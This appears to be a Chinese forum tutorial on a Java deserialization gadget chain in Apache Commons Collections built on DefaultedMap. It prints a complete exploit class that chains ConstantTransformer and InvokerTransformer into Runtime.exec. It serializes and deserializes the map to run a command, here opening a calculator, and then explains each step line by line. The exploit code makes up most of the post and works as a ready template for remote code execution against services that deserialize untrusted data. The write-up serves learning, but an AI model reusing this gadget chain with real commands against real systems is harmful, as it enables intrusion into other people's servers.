原创->CommonsCollections1-DefaultMap链

打印 上一主题 下一主题

主题 851|帖子 851|积分 2553

本日我计划整点儿不一样的内容,通过之前学习的TransformerMap和LazyMap链,想搞点不一样的,所以我关注了别的一条链DefaultedMap链,主要调用链为:
  1. 调用链详细描述:
  2. ObjectInputStream.readObject()
  3.      DefaultedMap.readObject()
  4.          DefaultedMap.get()
  5.             ChainedTransformer.transform()
  6.                  ConstantTransformer.transform()
  7.                  InvokerTransformer.transform()
  8.                      Method.invoke()
  9.                          Class.getMethod()
  10.                  InvokerTransformer.transform()
  11.                      Method.invoke()
  12.                          Runtime.getRuntime()
  13.                  InvokerTransformer.transform()
  14.                      Method.invoke()
  15.                          Runtime.exec()
复制代码

刚开始的方法和其他CC1链的方法是一样的,这里不再赘述,其实也就是这三步

主要讲一下在DefaultedMap里是如何进行调用的,首先我们看一下完备的EXP
  1. import java.io.*;
  2. import java.lang.reflect.Field;
  3. import java.util.HashMap;
  4. import java.util.Map;
  5. public class ExploitDemo implements Serializable {
  6.     private static final long serialVersionUID = 1L;
  7.     public static void main(String[] args) throws Exception {
  8.         // 设置Transformer链,最终执行命令 'open -a Calculator' 以弹出macOS计算器
  9.         Transformer[] transformers = new Transformer[] {
  10.                 new ConstantTransformer(Runtime.class), // ConstantTransformer.transform() 返回Runtime.class
  11.                 new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), // InvokerTransformer.transform() 调用Class.getMethod() 获取getRuntime方法对象
  12.                 new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), // InvokerTransformer.transform() 调用Method.invoke() 获取Runtime实例
  13.                 new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open -a Calculator" }) // InvokerTransformer.transform() 调用Runtime.exec() 执行命令
  14.         };
  15.         // 使用ChainedTransformer将多个Transformer链接在一起
  16.         Transformer transformer = new ChainedTransformer(transformers); // ChainedTransformer.transform() 依次调用上面的每个Transformer
  17.         // 创建DefaultedMap对象
  18.         Map<Object, Object> innerMap = new HashMap<>();
  19.         DefaultedMap defaultedMap = new DefaultedMap(transformer); // DefaultedMap.get() 如果key不存在,调用transformer.transform()
  20.         // 通过反射将innerMap注入到DefaultedMap中
  21.         Field mapField = DefaultedMap.class.getSuperclass().getDeclaredField("map"); // 获取父类AbstractMapDecorator的map字段
  22.         mapField.setAccessible(true);
  23.         mapField.set(defaultedMap, innerMap); // 设置DefaultedMap的map字段为innerMap
  24.         // 通过反射设置value字段
  25.         Field valueField = DefaultedMap.class.getDeclaredField("value"); // 获取DefaultedMap的value字段
  26.         valueField.setAccessible(true);
  27.         valueField.set(defaultedMap, transformer); // 设置DefaultedMap的value字段为ChainedTransformer实例
  28.         // 序列化DefaultedMap对象
  29.         ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  30.         ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
  31.         objectOutputStream.writeObject(defaultedMap); // 序列化defaultedMap对象
  32.         objectOutputStream.close();
  33.         byte[] serializedObject = byteArrayOutputStream.toByteArray();  // 通过ByteArrayOutputStream获取序列化后的字节数组
  34.         // 反序列化DefaultedMap对象
  35.         ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serializedObject);
  36.         ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
  37.         DefaultedMap deserializedMap = (DefaultedMap) objectInputStream.readObject(); // ObjectInputStream.readObject() 反序列化defaultedMap对象,触发DefaultedMap.readObject()
  38.         objectInputStream.close();
  39.         // 调用get方法以触发命令执行
  40.         deserializedMap.get("key"); // DefaultedMap.get() 调用ChainedTransformer.transform(),依次调用各个transformer,最终执行命令
  41.     }
  42. }
复制代码
我们来下断点调试一下,看看代码是如何进行下令执行的
首先还是创建一个数组,然后通过ChainedTransformer方法进行不断的调用
  1. Transformer[] transformers = new Transformer[]
  2. 创建一个数组Transformer[]
  3.   
  4. new ConstantTransformer(Runtime.class)
  5. 1.通过ConstantTransformer 的 transform 方法调用一个对象,返回 Runtime.class,即 java.lang.Runtime 类的 Class 对象。
  6. new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
  7. 2.通过InvokerTransformer调用 Runtime.class.getMethod("getRuntime", new Class[0]) 获取名为 getRuntime 的方法对象,getMethod 方法签名为 Method getMethod(String name, Class<?>... parameterTypes),传入参数 new Class[] { String.class, Class[].class } 和 new Object[] { "getRuntime", new Class[0] }
  8.   
  9. new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] })
  10. 3.通过 InvokerTransformer 调用 Method.invoke(null, new Object[0]) 获取 Runtime 类的实例,invoke 方法签名为 Object invoke(Object obj, Object... args),传入参数 new Class[] { Object.class, Object[].class } 和 new Object[] { null, new Object[0] }。
  11. new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open -a Calculator" })
  12. 4.通过 InvokerTransformer 调用 Runtime.getRuntime().exec("open -a Calculator") 执行命令,exec 方法签名为 Process exec(String command),传入参数 new Class[] { String.class } 和 new Object[] { "open -a Calculator" }。
复制代码

通过ChainedTransformer方法,递归调用transformers数组,每一个步骤的输出被作为下一步的输入。

然后继续往下跟
  1. 1.首先我们先创建一个Map对象,为什么后面会讲
  2. Map<Object, Object> innerMap = new HashMap<>();
  3. 2.传入transformer数组,因为defaultedMap 中获取一个不存在的键的值时,DefaultedMap 会使用 Transformer 对象的transform 方法来计算默认值,所以会调用我们的恶意数组链。
  4. DefaultedMap defaultedMap = new DefaultedMap(transformer);
复制代码
继续往下跟

  1. 1.DefaultedMap 类继承自 AbstractMapDecorator,getSuperclass() 方法返回 DefaultedMap 的直接父类AbstractMapDecorator,getDeclaredField("map") 方法返回 AbstractMapDecorator 类中的 map 字段(一个 Field 对象),反射是因为这个字段是私有的
  2. Field mapField = DefaultedMap.class.getSuperclass().getDeclaredField("map");
  3. 2.setAccessible(true) 方法允许通过反射访问私有字段。
  4. mapField.setAccessible(true);
  5. 3.mapField.set 方法用于设置 defaultedMap 对象中 map 字段的值,这里将 defaultedMap 的 map 字段设置为 innerMap 对象,即用我们之前创建的 Map 对象替换 defaultedMap 内部的 Map 实现。
  6. mapField.set(defaultedMap, innerMap);
复制代码
继续往下跟
  1. 1.通过反射访问并修改了 DefaultedMap 类的 value 字段,getDeclaredField("value") 获取 DefaultedMap 类中名为 value 的字段.
  2. Field valueField = DefaultedMap.class.getDeclaredField("value");
  3. 2.setAccessible(true) 使得即使是私有字段也可以通过反射进行访问和修改
  4. valueField.setAccessible(true);
  5. 3.通过 set 方法将 defaultedMap 对象的 value 字段设置为 transformer 对象。原因是当 DefaultedMap(Map map, Object value) 中的value获取一个不存在的键时,它将使用这个 transformer 对象来生成默认值。
  6. valueField.set(defaultedMap, transformer);
复制代码
继续往下跟

这里我也不废话,主要就是序列化数据和反序列化数据,通过ByteArrayOutputStream,提供了将数据写入字节数组的能力,toByteArray()方法是获取写入的全部数据的副本,作为一个新的字节数组,然后通过ByteArrayInputStream进行反序列化。
这里关键点需要留意的是以下这段代码,因为要可以或许使下令乐成执行,必须要让DefaultedMap实现序列化接口,这里我们可以看到确实实现了,所以 DefaultedMap 实现了 Serializable 接口,它可以通过 ObjectInputStream 进行反序列化。在这个过程中,ObjectInputStream 会调用 DefaultedMap 的 readObject 方法,以恢复对象的状态。


可以看到我们下的断点位置已经通过反序列化调用了readObjcet方法
  1. private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
  2.   
  3.   in.defaultReadObject();
  4.   //ObjectInputStream 的 defaultReadObject 方法。defaultReadObject 方法负责从输入流中读取对象的非静态和非瞬态字段的状态,并将它们恢复到当前对象中,这一步相当于默认的反序列化过程,它会根据序列化时写入的对象状态自动恢复这些字段的值。
  5.         
  6.   map = (Map) in.readObject();
  7.   //这一行代码从输入流中读取一个对象,并将其强制转换为 Map 类型,然后赋值给 map 字段。这意味着 map 字段在反序列化过程中需要被显式地恢复。通过这种方式,可以确保 map 字段在反序列化后正确地指向原来的 Map 对象。
  8.     }
复制代码
 
继续往下跟
 获得下令执行的原因是,通过触发readObjcet方法调用DefaultedMap的get方法,进行判断,当调用 get 方法实验获取一个不存在的键(如 "key")时,DefaultedMap 会使用默认值生成器来生成值。在这里,默认值生成器是chainedTransformer,因此会调用 chainedTransformer.transform("key"),因为获取到一个不存在的值,DefaultedMap 会使用其默认值生成器(在这里是 ChainedTransformer)来生成默认值。由于 ChainedTransformer 包含了一系列的 Transformer,这些 Transformer 会依次调用,最终执行恶意下令。


然后我们可以下断点看下面的图
  1. 逐行解释一下命令执行的过程
  2. if (map.containsKey(key) == false)
  3. //检查 map 中是否包含指定的键 key。如果键不存在,代码继续执行内部逻辑;如果键存在,则直接返回键对应的值。
  4.   
  5. if (value instanceof Transformer)
  6. //检查 DefaultedMap 的默认值 value 是否是 Transformer 类型,如果 value 是一个 Transformer 对象,则调用 Transformer 的 transform 方法来生成值,也就是调用了我们的恶意链
  7.   
  8. return ((Transformer) value).transform(key);
  9. //当 get 方法调用 ((Transformer) value).transform(key) 时,实际上是调用 ChainedTransformer 的 transform 方法。ChainedTransformer 的 transform 方法会依次调用内部每个 Transformer;
  10. ConstantTransformer 返回 Runtime.class;
  11. InvokerTransformer 调用 getMethod("getRuntime", new Class[0]),获取 Runtime.getRuntime 方法;InvokerTransformer 调用 Runtime.getRuntime() 方法,获取 Runtime 实例;InvokerTransformer 调;
  12. Runtime.exec("open -a Calculator") 方法,执行命令,打开计算器。
复制代码

大家可以有机会自己写一下代码,调试一下就可以完全明白了,本日就到这里。Good night~

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

冬雨财经

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表